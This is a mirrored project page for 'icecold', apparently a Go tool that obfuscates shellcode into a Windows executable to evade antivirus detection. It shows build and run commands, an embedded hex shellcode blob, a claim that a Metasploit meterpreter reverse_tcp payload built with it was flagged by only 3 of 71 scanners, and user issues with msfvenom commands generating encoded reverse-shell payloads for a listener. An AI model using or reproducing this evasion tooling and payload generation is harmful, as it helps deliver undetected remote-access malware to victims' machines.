Giter Club home page Giter Club logo

icecold's Introduction

Icecold

Obfuscate shellcode and output an executable for you.

This project is a POC of the last method explained in this blog

Usage

Defaulty, it will generate a a.exe that pops up calc in output folder

cd icecold
go run .
.\output\a.exe

To test your shellcode, replace the shellcode in main.go

func main() {
	shellcode, _ := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
	// Put Your shellcode below and comment out the line above
	//shellcode := []byte{<Your Shellcode>}

Detection

Using common windows/x64/meterpreter/reverse_tcp shellcode from msf, the executable we generated was detected by 3/71 vendors according to virustotal as of Auguest 2023.

2023-08-12_13-05

icecold's People

Contributors

3santree avatar

Stargazers

DAN avatar  avatar Smith Noorah  avatar Antonio Limeira avatar  avatar Dustin avatar bilel zenned avatar Nander avatar 0x023 avatar Sumit Verma avatar reza.duty avatar

Watchers

 avatar

icecold's Issues

stager

hi , i try generate payloads with CB , both Stager and Stageless , after click open the calc.exe dont show on listener.
GOOS=windows GOARCH=amd64 go build -o output/stager.exe template/main.go
GOOS=windows GOARCH=amd64 go build -o output/stageless.exe template/main.go
av show 1/26 Malwarebytes Anti-Malware Malware.AI , (False)

work only with shellcode from msf ?

example

need a help , no offense 
// Put Your shellcode below
//shellcode := []byte{}
el := u.Enc( byte[] buf = new byte[968] {0xeb,0x27,....,0x5f,0xb0,0xe2}; )

or
// Put Your shellcode below
//shellcode := []byte{}
el := u.Enc( ] {0xeb,0x27,0x5f,,....0xb0,0xe2}; )

root@learn:~/icecold# msfvenom -p windows/x64/meterpreter/reverse_tcp 192.168.2.14 LPORT=4444 --encoder x64/xor_dynamic -i 9 -f csharp
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 9 iterations of x64/xor_dynamic
x64/xor_dynamic succeeded with size 560 (iteration=0)

x64/xor_dynamic chosen with final size 968
Payload size: 968 bytes
Final size of csharp file: 4951 bytes
byte[] buf = new byte[968] {0xeb,0x27,0x5b,0x53,0x5f,0xb0,
0xa1,0xfc,0xae,0x75,0xfd,0x57,0x59,0x53,0x5e,0x8a,0x06,0x30,,
0x77,0xe2};
root@learn:~/icecold#

msfvenom

I dont understand , first need create with msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp 192.168.1.20 LPORT=4444 --encoder x64/xor_dynamic -i 9 -f csharp

and after run code result in the icecold

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.